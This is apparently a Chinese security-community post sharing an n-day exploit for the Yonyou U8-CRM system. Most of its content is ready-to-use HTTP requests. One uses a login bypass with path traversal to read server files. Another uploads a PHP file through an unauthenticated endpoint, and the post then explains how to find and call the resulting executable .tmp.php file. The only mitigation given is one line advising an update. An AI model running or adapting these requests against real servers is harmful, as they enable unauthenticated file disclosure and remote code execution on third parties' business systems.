用友Nday漏洞（附EXP）PoC

用友U8-CRM客户关系管理系统

GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=4wewetrt34g34t3tConnection: close

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQContent-Length: 199------WebKitFormBoundarykS5RKgl8t3nwInMQContent-Disposition: form-data; name="file"; filename="ceshi.php "Content-Type: text/plain<?php phpinfo();?>------WebKitFormBoundarykS5RKgl8t3nwInMQ

说明：上传之后返回的路径为：D:\U8SOFT\turbocrm70\code\www\tmpfile\文件名称为：mhtC202.tmp.mht直接访问这个文件不解析，需要访问另一个文件// 上传之后会在目录下生成两个文件tmp.mht和tmp.php文件访问的解析文件格式为udp***.tmp.php星号部分为返回的文件名的十六进制减去一例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355

http://ip:port/tmpfile/updd674.tmp.php

建议及时更新版本！

https://mp.weixin.qq.com/s/HuOWxGcmIbCayKZXYYMfKQhttps://mp.weixin.qq.com/s/Y7X1G0T8YzatL5Q6bDsN4w